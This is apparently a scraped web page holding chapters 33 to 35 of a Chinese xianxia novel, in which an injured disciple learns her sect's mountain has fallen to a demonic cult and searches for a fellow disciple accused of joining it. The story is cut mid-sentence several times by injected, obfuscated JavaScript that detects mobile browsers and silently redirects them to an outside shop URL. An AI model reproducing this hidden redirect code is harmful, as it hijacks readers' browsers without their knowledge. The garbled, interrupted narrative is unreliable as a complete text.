何无药来给她把脉，一脸严肃：“大师姐，我从未医治过这种伤。所以只能一边试药，一边调整，需要你的配合。” 何无盐点点头。 他继续道：“现在修行对你来说只会雪上加霜。你十二正经俱断，丹田内海已空。修行出来的灵气不会行走经脉、存丹田，反而四处乱窜，加重伤情。所以现下最重要的是，没有我的允许你不能暗自修行，那样的话，我给你开什么药方都是白费功夫。” 他开的药方是每日早中晚各服用一颗归元定心丸，加速伤口愈合、减缓酸痛麻痒之感；再以东海灵蛇珠终日含在口中，蕴养肌理，调理气韵，温化经骨；最后再由自己为她施针，大概一个时辰。等到伤口痊愈之后，就可以每日再泡半个时辰的药浴，有助于疏通经脉。 归元定心丸何无药从山下带了一大罐；药浴也好说，玄冰门好歹还是一方宝地，也供应得起。就是东海灵蛇珠十分少见，一时寻不到，只能以玲珑珊瑚胶暂代。此胶是消耗品，每三日需一换。 如此种种，能恢复到伤前的几成，这说不好。“我只能尽力为你医治，至于效果如何，要看你的造化了。” “多谢。” 她自己感觉也很不妙。没做藤树精的大餐，虽已是万幸，但真的与修行再无缘了吗？她有些不甘心。 近来做了很多梦。时而是关于月亮城的，时而是关于李姨和那位前辈的。但最经常梦到的还是李星中。 他们两有时行走在山间，一前一后，虽不怎么说话，但却颇有默契。她便会暗自松一口气：还好在洞中的事不过是梦一场。有时，他浑身是血，身上缠满荆棘，对她说：师姐，不要担心我。有一次，她跟李星中说：你去找师叔他们吧，我自己去找方方就行了。但李星中却摇摇头：不跟着你，我不放心。 然后就醒了。 想起在洞中跟李星中打的赌……赌约还在，李星中就此折戟沉沙了吗？不会的……不会的……他不是这样轻易就放弃的人。这个赌她一定会赢，到时候就可以狠狠地嘲笑他。 其实不要说修行，她现在就连行动都很困难，成日躺着。浑身上下，除了痛就是痛。有几次她甚至怀疑自己可能要死了。 于是这日何无奇又来，她趁机把该说的话先说了。 “百宝袋。”她示意。 “要什么？”他将百宝袋拿了过来。 “里面有一颗石榴石。” 石头深红，无一丝杂质。 “这是我在赶集时特意为你买的。” “大师姐。”何无奇两眼有微光闪动。 “别，太肉麻了。” “还有，我死了，你就把我暗房中的补天丹拿去。暗房的机关就在床的下面。吃不吃你自己决定。” 补天丹，顾名思义，补天资之不足。要炼此丹，所需材料颇多，工序十分繁琐，其中又有几味药十分稀有；而能炼成此丹的，已不需要此丹；需要此丹的，又没有炼制的能力。 清一门，进得了山就是门中弟子，所以擅长此道的清一门反而并不炼此丹。 反而是雅一门中，虽然门规森严，但上了山后还需要过十年大限，故偷偷钻研此道的俗家弟子并不在少数。而且吃了也不见得就能得天眷顾，若是不成，还会有一定的反噬作用。 最最重要的事，好像并未听闻有哪个弟子吃了补天丹之后修成朝云神功第四重的。何无盐手中只有这一颗，当时犹豫了很久，终究还是没吃。现在看来，似乎吃不吃也没什么区别了。 给了何无奇，他若真过不了这一关，想破釜沉舟，也可一试。 “大师姐，你跟我说这些干嘛，像是交代后事一样。” “若我自此绝于修行一途，这百宝袋里的东西也一并都给你。”还有灵剑和望舒羽衣，算得上是趁手的东西。 何无奇脸突然正色道：“我费了半天劲把你从莲山崖洞中救回来，不是为了听你说这种话的。” 她沉默良久：“好。” “对了，还有一事。赵师兄和宁师姐决定要结为道侣，三个月之后要举办大典。” 她的瞳孔略微一缩。 “恭喜。可惜我却现在躺在床上，没有办法前去祝贺。”沉默良久，她只能说出这么一句话。她最为亲近的两个人，一定会过得很幸福吧。 “大师姐，你现在不用想这些，到时候的事到时候再说。” 她点点头。是啊，有诸多事，多思无益，不如行动。像她这样躺着，不能行动，那就只能不想。 别说，何无奇这个方法还挺好使。她听了这话，每天就吃药、针灸、养伤。虽然不能再修心法口诀，但她将从山下带下来的功法都看了个遍，除了有时候疼痛难耐，日子竟然也算充实。 在房中修养月余，尽管还是很虚弱，总算是可以出门了。 她的居所乃是一处闲庭雅苑。院中有假山林立，塘水一曲。走出院子，来到一处花圃。此时正是绣球花开时节，抬头看去，紫色蓝色粉红色，大大小小团成一簇，甚是可爱。她不由得心情大好，一路看一路走。 要不偷偷摘两支回去放入瓶中，应该没人看见吧……于是她伸出了魔爪。 “魔教手段也太狠毒了。近来诸多小门小派，但凡不愿臣服的，都被灭门。五日前，水心门覆灭，三日前，万镜宗覆灭。看这样子，再几天就要轮到咱们了。正道已名存实亡啊。” 拐角处，有声音传来。 “你操这个心做什么，咱们这些弟子，首先要操心的是自己的小命。就算天塌下来，还有赵掌门顶着呢，再说，赵无邪师兄最近不是也从三青山上回来了吗，还带了好些师兄弟。” “哎，谁能想到，三青山所在乃天下正道之首，可是现在竟然成为了魔教的大本营。” “魔教野心不死，精心谋划百年，一击即中，看来是要把我们一网打尽啊。” 何无盐心脏骤停。 “几位仁兄且慢，”她赶紧上前询问，“刚才你们说三青山成为魔教的大本营？这是怎么回事？” 三个玄冰门人盯着她看了一小会儿：“三青山早就已经被魔教占领了，你不知道？” “这是几时的事？可当真？”何无盐语速急切。 “当真啊，这都半年前的事情了。”三人奇怪，“你是谁呀？看着不像是本门中人，怎么会在这？” 半年前？难道说，她昏迷，已经半年有余？！ “抱歉，一时心急，忘记自我介绍了。”何无盐行了礼，“在下三青山雅一门，何无盐。” “哦……”三人对视一眼。 “三位刚才所说，可是真的？” “真呀，怎么不真？全天下的人都知道了。倒是你不知道，甚为奇怪。” “对啊，以前怎么没见过你。无邪师兄带回来的几位三青山的师兄弟我们都见过了，你，很面生啊。” 何无盐刚刚从鬼门关捡回一条命，身上灵气稀薄，面相病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“掌门！”另两人及时行礼。 何无盐一看，来者着玄冰道服，束紫金冠，蓝色绸服上饰有繁复金银线条，绘百草纹。身后还有林书心和其他师兄弟。 林书心道：“这位是玄冰掌门人，你赵知敬赵师伯。” 收了灵剑，便行起礼：“三青山雅一门何无盐，拜见赵掌门。” “嗯。”赵掌门点点头。“你这师侄，天资、根骨、身手都不错。就是可惜啊。”指她经脉寸断，修行难再。 “这些时日，麻烦赵掌门费心。无盐，赵师伯是专程来看你的。” “多谢赵师伯关心。无盐近日感觉已经好多了。” “好，好，好。你们几个，”赵知敬与何无盐动手的三位门人板起了脸，“对贵客怎如此无礼？” 三个人头埋得更低，“是她挑衅在先，说我们玄冰门这么大个门派，连东海灵蛇珠都没有，他们山上这种小玩意儿多得不是。” 何无盐气得脑仁疼，“绝无此事。赵师伯、林师叔，我本只是来此赏花，三位师弟对三青山出言不逊在先、动手欲伤我在后，无盐只是自保，无丝毫不尊重贵派的言行举止，还请赵师伯明察。” “赵师兄，晚辈年轻气盛，口角之下有些争执，也是难免的。” 林书心开始打圆场，然后话锋一转： “这次你赵师伯来，还有一事要问。下山时，你曾遇见李星中，是吗？”林书心问。 何无盐心中一动。赵知敬为何要问这个？难道…… 这些天尽管获救，但是她却感觉自己并没有走出过那个洞。梦里她身在一片漆黑，醒来，仍然在黑暗里。 此问犹如一束光，照进了她的心中。 “是。” “此事关重大，你且细细道来。”赵知敬道：“叫众长老前来。” 于是众人来到正殿。 33. 身世 玄冰门虽是修仙门派，但就在市井之中，它的背后，就是赵府。其下各弟子散居于此地，区别只在于宗亲血缘。血缘越近，住的离赵府越近。何无盐出了门才发现，之前她居于赵无邪的家中。 大堂上，赵知敬和玄冰门一干长老，林叔心和下山的众弟子都到了。何无盐便将如何与李星中一路走来、共同抵御魔教说了一遍。 一时无人出声。 “林师叔，星中师弟究竟发生了什么？”能惊动身为掌门的赵知敬专门前来询问此事，必不简单。 赵无邪道：“有门人来报，在万镜宗被灭门之时，看见了李星中。” “那这么说，他还活着？”何无盐又惊又喜。不错，他有拏云之志，怎么可能就此殒身？他果然还活着！ 赵无邪面露难色：“可以这么说。” 赵知敬突然道：“他是活着，不过门人听到其他魔教中人尊称他为‘魔子’。” “魔子？”何无盐不解。 “魔教圣物青篱藤树每百年会诞下血色禁果，为自己繁衍。身怀血色禁果者，男为魔子，女为圣女。”赵无邪进一步解释。 “可是……李星中是奉师门之命查明桐城的真相，才会下山的。这点，林师叔在场，最清楚不过；无邪师兄、无云师姐，你们也都知晓此事。”何无盐看向林书心等人。 “这倒是不错。”林叔心点点头，“星中下山，是我安排的。他的人品和能力，我也是看在眼里，是个可信的孩子。” 李星中是魔子……还在万镜宗灭门的现场…… “难道，赵师伯是怀疑星中师弟带领魔教中人，灭了万镜宗？” 赵知敬语气突然加重：“并非怀疑，而是事实。我派门人贾守义亲眼看到此事。” 何无盐稍作思索，“赵师伯，这其中有误会。当时我们遇到魔教长老白慕圣，他以青篱藤毒驱使撼树派弟子姜卫照对付星中师弟，星中师弟为了自保，不得不动手。想来守义师弟不知前因后果，才会把李星中误认为魔教中人。” “可否叫他前来，我想仔细问问当日的情况。”她施了一礼。 赵知敬道：“就算你说的不错，守义，”他又叫道。一位个子矮小、面有雀斑的男子走了出来，“那你当日所见李星中手持玄冥剑，可当真？” 他有些胆怯地看着何无盐，但说出的话却是毋庸置疑，“师父，我不会认错的，李星中当日手持之剑，跟书上所记载的魔教教主李星坠之剑一模一样！” “赵师伯，这位师弟只是凭书上的记载认得此剑，这如何作数？或许，他认错了，也或许书上的记载是错的；再退一万步来说，这不过是一把剑而已，剑在人的手中，是好是坏，要看人怎么使用。”何无盐满脸沉重，“这一路上，我跟星中师弟同进同出，可以保证他绝对没有用此剑做坏事，更不可能和魔教同流合污。” 玄冰门一师伯出声：“可你所说的，不也是一面之词吗？又有何凭证呢？” “我有人证，当时有撼树、金光弟子在场，他们都能证明这一点。” 赵知敬缓缓道：“若他们在，或者能为你证明。可是很不凑巧。当日见证此事之人，只有守义活了下来。” “什么？！”何无盐震惊，“那姜卫照师兄……” “他失踪了。撼树派也找不到他。” “怎么会这样……”一时间，她的脑袋十分混乱。梳理了半天，她突然想起来还有一人可以为她作证。 “还有一人可以证明我所言不虚，”何无盐道，“我们下山之后，立刻遇到了一位女子，名为方方，她可以证明李星中并非魔教之人。” 玄冰门弟子不屑道，“哼，可是你所说的方方姑娘，她也失踪了，不是吗？” “一个月，我必定会寻到此人。”何无盐打包票。 “谁知道你是不是随便就找了一个人来？再说了，一个月的时间，都可以串好多少口供了，委实不可信。” 赵知敬不做声。看来，他也并不相信何无盐的说辞。 事情怎么会发展成这样？ “大师姐，你有没有想过，李星中或许不是李星中？”何无奇突然道。 “此话何意？”什么叫李星中不是李星中？何无盐皱眉，努力思考何无奇这话。 “我是说，其实我和你都与李星中不甚熟悉。”何无奇见状，知道她性子上来了，若是不说，不撞南墙不回头。 “按照你的说法，你下山的时候撞见了李星中，然后和他一路结伴而行。那么此前我们都只见过他一次，哦，两次吧。在擂台上一次，去看望在之师兄一次。那你怎么确定，山下遇见的李星中，和山上遇见的李星中，是同一个人呢？” “为什么你会有此怀疑？林师叔刚才也说确实也让李星中一同出行了。”何无盐不解。 “大师姐，你再仔细想想呢，我们怀疑，真正的李星中，有可能在为林师叔办事的时候就被魔教掉包了。” “他在三青山之中，怎么会被魔教掉包呢？护山大阵时时刻刻都开启着，魔教怎么会有机会溜进来？” 何无盐张口欲辩，可是突然想起一事。不对！方方不就进来了吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482345|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她心下一惊。而且方方除了术数出众，可以说完全是一个普通人。就算不知道她是如何来到三青山的，但她都能进入山中，那魔教之人觊觎三青山已久，说不定真有什么方法？ “可是他本来就来历不明。你想想，他拜入清一门下的时候，直接出现在龙吟顶上，而不是师叔师伯的洞府中，这不就说明问题了吗？”何无奇又说起他身世的种种。 “但他一身修行来自三青山，这总做不得假。”可是此话一出，何无盐自己却愣了。 他师承清一门，但是又似乎又身负太一门的传承。救安在之那日，他所使的招数只是看着像八卦掌而已。 但是，他们一年到头见不着龙师祖几次，对太一门的修行之法可以说并不了解。即使后来李星中数次与紫苏、白慕圣动手，也看不出他的路数来。 她突然又想起来。 方方当时发烧，他们要找地方落脚。方方算出来要去的地方是东边三百里的一出小镇，可是李星中却“纠正”了她，说是东偏南，四百二十里； 所以他们才来到了月亮城。而月亮城，为魔教左使所创； 后来，在地火那里，她误触机关，闯入琉璃净火的封印处，而李星中说自己只是整夜迷了路； 李星中的身世扑朔迷离，问起他如何上山的，他答：“眼睛一睁，就在山上了”； 他携带的玄冥，是魔教教主李星坠的剑，至少玄冰门那个矮个雀斑男子是这样说的…… …… 如此种种，刹那间汇聚一起。何无盐越是细想，心中越是吃惊。 难道从一开始，她认识的就是魔教之人扮演的李星中？ 何无盐脑袋越来越乱，身子越来越重，整个人好像向着湖的深处慢慢沉下去。 何无奇小心翼翼地看着她。“大师姐……” “你这么说，又有何凭证呢？” 何无奇道：“我只是怀疑罢了。我们与他并不相熟，可是他却愿意同你一路，置下山的任务于不顾、也不去与林师叔他们汇合，你说这是不是很奇怪？” 何无盐一听，久久不能平静。照他这么推断，李星中的一举一动都变得可疑起来。难道她真的是当局者迷？他们下山的一切都是李星中一手策划的？ “赵掌门，”林书心站出来道，“李星中毕竟是我的弟子，此事我们有查清真相的义务。若是他真的与魔教狼狈为奸，不劳烦您动手，我必定会清理门户。以一月为期，我三青山清一门林书心必定会给众人一个交代。” 赵知敬道：“好，那就一月后见分晓。” 34. 寻找 何无盐要去找李星中。 林书心和一干师兄弟自然是反对的。 林书心道：“无盐，此事我准备另外派弟子去查证。你伤势未愈，应以身体为重，且不可再如此奔波，否则修行之路，愈走愈艰难。” 宁无云劝她：“你现在朝云神功被废，若是又遇到魔教的人，应该如何是好？不如在山上且等消息。” 何无药很严厉地说：“早知道你自己都不想治了，我还费这个功夫救你干什么？浪费我的药。” 何无奇则很幽怨地看着她。 “干嘛，我又不是要死了。” “对啊，你得好好的活着，不然怎么去找李星中，是吧？”她有点心虚，挪开了眼睛。 赵无邪道：“师父，她若想去，就由她去吧。” 所有人大惊。 “赵无邪！”宁无云怒了，“无盐此时自保尚且困难，魔教手段残酷狠毒，若又遇上了之前的那个百变书生，该如何是好？” “你难道不相信无盐吗？” “我……我当然相信，只是她现在这个情况，我不放心。” “无云，你习惯把她当做需要保护和照顾的师妹。”赵无邪不以为意，“不过在我看来，她下山游历了这么一遭，也突破了十年大限，早就能自己拿主意了。反而种种事情，我们不该瞒着她。” 宁无云嗫嚅着，还想说些什么，但也不做声了。 “师姐，你放心吧，我有自保的手段。若真打不过，我不会硬来的。”打不过，她还跑不过吗？有灵剑护主，实在护不住了她就用望舒羽衣直接跑路。 “再说了，下山也不一定就会遇到那百变书生。” 但林书心仍然担忧：“无盐，你的人生之路尚且还长，难道就此要放弃修行吗？” “师叔，此话严重了。我绝无此意。修行之路，道阻且长，我会走到生命的最后一刻。”毕竟，她已经和李星中约好了要一分高下。 “只是李星中的事，让我日夜难安，若不了此心结，恐怕念头不通达。恳请师叔让我下山，将此事查明。否则我实在难以安心。” “嗯，可你身上的伤……” 何无盐言辞凿凿，“我已治疗月余，伤口基本愈合，已无大碍。只是这修行一事，还需从长计议。无药师弟说目前治疗还缺一味东海灵蛇珠，此次下山，我也可正好寻找此物，以蕴养经脉。” 何无药思考了一下，“伤确实已痊愈，不过……” 不过什么不过？何无盐给了他一肘子。 “大师姐，若你心意已定，这是归元定心丸，”何无药便递给她，“施针之法也能教给你，一个月之内，大概能应付得下来；药浴的配方我写下来，再请药房配给你。不过不论结果如何，务必要回来复诊。不然……” “多谢师弟。”何无盐抱拳，话题便一转，“师叔，三青山，……真的被魔教鸠占鹊巢？” 林书心一脸沉重。“确实如此。我们此番前去桐城调查，发现青篱藤毒确实在桐城一带出现过，但是随即就消失了，反而陆续传来了从各地前往桐城调查的正道人士中毒的消息。现在看来，这正是魔教的阴谋之一。想通这一环之后，我们立刻回山，想将此事报告给你师父。但是，雅一门和清一门那时已经被魔教右使花辞树控制了。” “怎会如此？师父如何了？其他人呢？” 林书心痛心疾首道：“魔教人数众多，守卫森严，其中有一道气息，阴森诡谲，实力断然在我之上，我们一时半会儿找不到你师父的踪迹，又怕惊动这人，只得先撤退，另做他想。至于门中其他人，大半都关在雅一门大堂之中。” “三青山不是有护山大阵吗，巨阙阵呢？他们是如何避开阵法与结界的？”何无盐焦急地问。 “护山大阵，其实也有覆盖不到的地方，只是相当隐蔽，按理说来，应该只有三青山的弟子擅长阵法的师叔师伯和弟子才知道这个事情。而且每年七月七时，巨阙阵极边缘的地方会因阳气不足、阴气入侵而失效，出现缺口。”宁无云突然接过话来。 “那师姐你突然开始研究阵法，也是因为这个？”何无盐问。 “其实是因为突然聊起无邪下山之事。当时他和你无冥师兄相约下山，不使用引路符，先出山者胜出，我就问起他是如何成功下山的，才发现这里面非常复杂。巨阙大阵只是护住门派所在的最后一道屏障，不到最后一刻不会使用。巨阙大阵之外，阵法一个嵌套一个，结界一层包裹一层才覆盖了整个三青山脉。但是，正因为是层层嵌套，在嵌套的边缘之处，可以用一些巧妙的方法混过去；而且这些阵法都是先人布置下来的，经过这么多年，也不知道到底还是不是都在正常运转。所以我钻研阵法，是想看看三青山的阵法和结界有没有什么需要修护和完善的地方。只是没想到，魔教的动作如此之快。” 林书心道，“不错，天下灵气，七分在三青山，魔教必然是对此地虎视眈眈。也是我们大意不查，竟然没察觉其中的阴谋。” 赵无邪露出思考的表情：“这次魔教大举上山，可是山上的阵法与结界都完好无损。这说明，他们可能并非光明正大攻入山门，而是找到了一些入山的窍门，所以未曾引发阵法、触碰结界。尤其是巨阙大阵，此阵必须由掌门人，也就是何不山师伯驱动。而我们下山之时，师伯正闭关。魔教贼子很有可能是瞧准了这个时机，故意前来偷袭，抢占山门。” 宁无云不解：“可是他们如何得知师伯正在闭关呢？” “我怀疑……三青山弟子中间，或许出了内奸。” 何无奇突然一拍手：“这不就是李星中！上山的时候就跟做贼似的，静悄悄地。现在目的达成了，他就回魔教了，还凭借出卖师门的功劳做上了什么魔子，好不威风！肯定就是他！” 何无盐却并不相信。“这其中肯定有误会。星中师弟我了解他，他聪明伶俐，虽然嘴毒，但是却心地善良，志存高远，断然不会做这种背叛师门的事情。此次我去寻他，一定要把事情弄一个水落石出。内奸肯定另有其人。”她想起离开三青山之际，摸黑到息语林刺探消息的那四人。绝对有问题。要查内奸，就从这四人入手。 何无奇急了：“大师姐，你怎么老护着他呢！” “无奇，没有证据，你空口无凭，容易冤枉好人。” “玄冰门人亲眼看到，这还做不得数吗？” “我们本就被玄冰门人误解了，或许当时只是他先入为主呢？” 眼看两人剑拔弩张，马上要吵起来，林书心打断他们。 “好了好了，无奇，她重伤初愈，你不要气着她。此事本来也需要给玄冰门一个交代。” 又转向她：“无盐，你真的想好了？” “师叔，他一路护着我到莲山洞崖。若不是因此，断然不会先是下落不明，后又被指认为魔教中人。每每想到此处，我就觉得良心难安。所以我想亲眼确认他是不是真的还活着，是不是像玄冰门人说的那样与魔教有勾结，还请师叔成全。” 林书心微微地点了点头。“既然如此，那你去吧。你是个有耐心、有毅力又有公心的孩子，此事交给你去办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482346|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我很放心。若有什么消息，就及时告知我们，一同商议。” 何无奇怒气未消，听见此话瞥了她一眼：“不要等出事了才想起来用金银罗盘，平时也可以找我说说话什么的……万一下回我没赶上呢……” “你咒我是吧，臭小子。” “尽早回来。消息探查不到也无碍，我们还等着你着来喝喜酒。” 宁无云突然这么一说，何无盐愣住了，心底既苦涩又高兴。“赵师兄，宁师姐，恭喜。” “这次婚礼，也是我三青山与玄冰门结盟之意。现在三青山遭受重创，正道势微，幸亏无邪也是玄冰门人，他以掌门之子的身份与我成亲，广邀天下英雄好汉共同抗击魔道贼子，结英雄盟。这也是为了给正道人士一道强心剂。”宁无云道。 “可……如此声势浩大，难免会有魔教贼子前来捣鬼。” “他们若是前来，也是正中下怀。之前无邪下山除了探查青篱藤的消息，也是为了商议启动四象阵之事。” “四象阵？！” 三青山先人下山之际，寻了四处风水宝地，又在因缘巧合之下赠与四人四样法宝，后来，就演化为金光、 玄冰、撼树、隐土四大修仙门派。四象阵以门派所在之处为阵眼，以四样法宝为秘钥，从创立至今，未有人一睹此阵真容，故大家一直都以为这不过是一个传说。原来是确有其事？ “不错。”林书心道，“你师父和我多年前请了一卦，算到三青山会有此一劫。所以一早在为此事做准备。只是当时魔教没有什么动作，形势并不危急，而且若是启动四象阵，那就动了四大派立派的根基。是以，四大派掌门人只是答应，若真的到了天下正道生死存亡的关键时刻，可以启动四象阵。 “便是此时了。所以这些时日我们都有要事在身，不能离开此地。星中的事，只能靠你查明真相了。” 何无盐点点头。 但她突然福至心灵，转头问何无奇：“我一直没问……你、无药师弟、二师兄跟随不去师叔探查血色禁果之事，但师叔和二师兄人呢？” “还不是为了救你。”何无奇冷哼一声，“我们到了西南，发现只是魔教虚晃一枪，血色禁果只是个假消息罢了。但是，我们半路捡到了一个女子，很爱说些‘派猪所’‘经茶’什么的胡话……” “你说什么？！” 何无奇被吓了一跳，磕磕绊绊：“师叔捡到一个女子……” “不是这句。她说了什么？” “‘派猪所’‘经茶’什么的……” 派出所、警察……“她看起来多大？” “十五六岁吧。大师姐，”何无奇小心翼翼地，“怎么了？” “那她人呢？” “不去师叔觉得可能与魔教有关，便跟二师兄一起将女子带回三青山了。而我和无药师弟，接到了你的消息，就到莲山来了。但我们跟着罗盘在山里转来转去，找不到人，只好去向林师叔他们求救。” “这名女子，很有可能就是方方姑娘。”何无盐沉吟了一会儿，“下山时我和李星中一起偶遇到她，同行了一段时间，后来她又失踪不见了。方方姑娘可以证明我所言非虚。看来……此行我要先回三青山一趟。” 林书心又叮嘱何无盐：“此次回山，形势与以往大为不同。魔教猖獗，出手又狠辣，你又修为大损，千万要多加小心，万事三思而后行，安全为重。” 何无盐拜过林书心和一众师姐弟，便收拾收拾，跟何无药学习了针法，又向赵无邪讨教了进山的法子，准备准备出门了。 35. 重逢 穿上望舒羽衣，上面百鸟图纹亮开始闪烁。 一声清脆的鸟鸣之后，一双洁白的翅膀从何无盐背后伸展出来，轻轻地抖动了两下，大翅一展，就把何无盐带到空中。 按照赵无邪的提示，不出一日，她就顺利地进入了三青山。 失去了绝大部分修为，现在何无盐仍然能御剑飞行，因为灵剑是她自己炼制的，与她心意相通，只是更加耗费体力，速度也不比从前。幸亏还有这么个望舒羽衣在手，日行千里都不在话下。 来到高山草甸上，绿油油的草海在浮荡，一浪接着一浪。云朵在低空飘行。看着没什么人。就降落在这里吧，她暗自想着。 明显魔教并没有完全控制三青山，也不了解此处原有的阵法与结界。她决定先摸清楚魔教所把握的三青山的范围和程度，再充分利用地形优势伺机寻找方方、打听李星中和师父的下落。 突然，身后传来：“参见月左使！” 她吓了一跳。 “左使想必是收到了三青山大捷的消息，特意赶回来的。小人奉花右使之命，恭迎大驾。” 她感叹自己什么狗屎运气。这么大个地方，也能遇到个魔教中人。不过看来还没倒霉到喝凉水也塞牙缝的程度。因为望舒羽衣，这个人将她错认为魔教月左使了。 “魔子呢？”她压低了声音。稍微思考了一下，既然已经被误认为魔教之人，先从李星中开始打听也算是合情合理。 “魔子此时正在自己的洞府之中，不过还请月左使先去见右使一面，小人再为您带路。” “滚！”何无盐暗暗地吼了一句。 “左使饶命！小、小人这就滚！”此人连滚带爬离开了。 这魔教人人脾气都这么差吗？动不动就要杀人。她就说了一个“滚”字，给人吓成这样。不过此时她算是托了这一点的福，这人要是再跟她多说两句话，立刻就要穿帮。 可是突然身后传来“咔”地一声。一股强大的魔气突然笼罩四周。 她忍不住转过身去看。 一道白色的身影，宽肩窄腰，身形挺拔，一身傲骨藏在少年人的清瘦之中，眼如点漆。风裹挟着淡淡的松柏香气传来——不是李星中又是谁？ 有些恍惚。 还活着……还活着……何无盐心中放下了一块石头，松了一大口气。 她总是梦见他，被层层藤蔓包裹，然后消失不见。 现在他一步步走来，长腿阔步，带着活人的气息。世界再不能比这更美好了。 “师姐，好久不见。” 何无盐失神地盯着他。鼻子是鼻子，眼是眼的，不错。没有缺胳膊少腿。看着面色白净，还颇有些珠圆玉润的感觉，看来这些天是过得不错。 但心情还没轻松一秒，另一道深重的阴影却投射下来——他现在从气息到行事作风，活脱脱就是一个魔教妖孽。 关于玄冰门人指认李星中为魔子一事，她思来想去，认为有四种可能： 一，李星中从拜入师门开始就是魔教中人； 二，下山之际，李星中才被魔教之人掉包； 三，玄冰门人指认为“魔子”的那个人是假的李星中，魔教只是想用这个计谋打击他们的士气而已，至于真的李星中…… 四，李星中是半路被策反的。 他不否认与自己相识，就已经排除了第三种情况。而剩余几种情况，都注定了“他”是个叛徒。她只能寄希望于第四种——或许，或许他还有什么苦衷。 “星中师弟，或者，我应该尊称你为魔子。”她开始试探。 “师姐，你还是可以叫我星中师弟，我们之间，不会因为外在的身份地位的变化而有所变化。” “你对待同门尚且如此狠毒，我可不敢做你的师姐。”此话一语双关。作为魔子，他才刚刚杀了一个魔教中人；而作为三青山之人，他很有可能就是内奸，趁着何不山闭关时引狼入室，以至于三青山来不及做出有规模的抵抗就被拿下。 “教中，左右使不睦已久，只是月左使长期不露面，是以很多小辈并不认识他。教内局面被花右使把控，若他回去向花右使禀告，可却迟迟见不到人，很快就会派人搜山，那你的行踪早晚会暴露。所以绝不能让此人去通风报信，他非死不可。” “月左使，就是上一任月亮城城主吧。我们都知道他已经死了。” “我们知道，教内可不见得知道。” “百变书生白慕圣不就知道吗？” “他只知道月亮城灭，至于两任城主到哪儿去了，全凭猜测。” 听他说完这些，何无盐略微放下了戒备之心。人还是那个人，他还记挂着他们之间的情谊。可如此一来，他为什么会出卖三青山，又成为魔子？ “你只有一次辩解的机会。最好仔仔细细，原原本本地跟我说清楚，这到底怎么回事。” “你想听什么？” “世人都知道魔子李星中先是背叛了三青山，后又灭了万镜宗满门。是不是你？你真的做了叛徒？” “若我不是叛徒，你会如何？若我是叛徒，你又会如何？”微风吹动他的发，显得他的神情有几分寂寥。 何无盐心中微微有些动摇。 “若你不是叛徒，告诉我实情，我会帮你跟众师兄弟、玄冰门众人解释；若你是叛徒，”她眼神微微一寒，“我也想知道为什么。师门于你，是这么微不足道的事情吗？如此轻易就可以背叛？” 李星中的声音听起来似乎很遥远。“师姐，你相信我吗？” “我想相信你，可是我的相信是没有用的，你必须给世人一个交代！”何无盐相当生气，涨得脸都有些红了。 “师姐，那些都是世人的目光，我不在乎。你相信我吗？” “你必须在乎！否则就是在与三青山为敌，天下正道也都将会嗤笑你、抹黑你、围剿你，这些你都无所谓吗？！” 高山草原之上，只有风从他们耳畔经过。 “难道来日见面，我们要同室操戈吗？！” 风声越来越喧嚣。可是李星中始终不发一言。 何无盐也越来越不安。沉默重如千钧，压得她喘不过气。为什么不说话？难道被她说中了？ 但即便如此，人非圣人，孰能无过。若放任李星中留在魔教，凭他对三青山了解，对正道只会有害无利。 于是她道：“你现在立刻跟我走，去向师叔他们认错，只要心诚，想办法将功补过，大家会原谅你的。” “若是有什么惩罚，我们一起承担。” 李星中轻轻地叹了口气。 “师姐，你还是这么天真。”然后往前迈了一步，顾左右而言他：“你受了很重的伤。” 何无盐有些惊讶。“你怎么知道？” 他的气息轻轻吹过耳畔，“这里不是说话的地方。跟我来。”便飞身离去。何无盐来不及反应，只能紧随其后。 两人越过重重山头，来到一处洞府。 洞府门口以水帘遮挡。李星中便走上前，将水帘撩了起来，做出个“请”的姿势。 走进去，洞内视野开阔，有阳光直射下来。从天而下的瀑布分为两道，一道在洞口遮掩视野，一道在洞内，流进池水之中。左边有垂柳拂盖，零星地有几尾鲤鱼跳出池塘；右边，是满池荷花，开的正好，清香扑鼻。再往数十步，就到了瑶光楼。 顺着山势，瑶光楼以千年松木建造，半数潜入石壁之中；蓝瓦红楼，共三层，而屋外四角飞檐处立了四尊琉璃脊兽，似活物一般。 看见他们走过来，四尊小兽的眼珠子竟转了过来，有化形之意。 李星中大手一挥，它们又老老实实地坐了回去。“那四尊小家伙是镇楼兽，乃符箓所化，以免有不速之客到访。清一门的小玩意了。” 屋内进去是大堂，进了大堂就往左走去。室内，青色纱幔重重叠嶂，大而厚实的地毯铺在正中，一张窄而长千年梨木矮几置于其上，旁边放置着两张无足金丝楠木靠椅。 茶已沏好，香味飘出来，正是他们在洞天福地喝到的雪竹茶。 “咚！” 走在前方的李星中突然停下，何无盐一不注意，撞到了他的背，磕到了自己的鼻子。 “走的好好的，怎么突然停了。”她忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 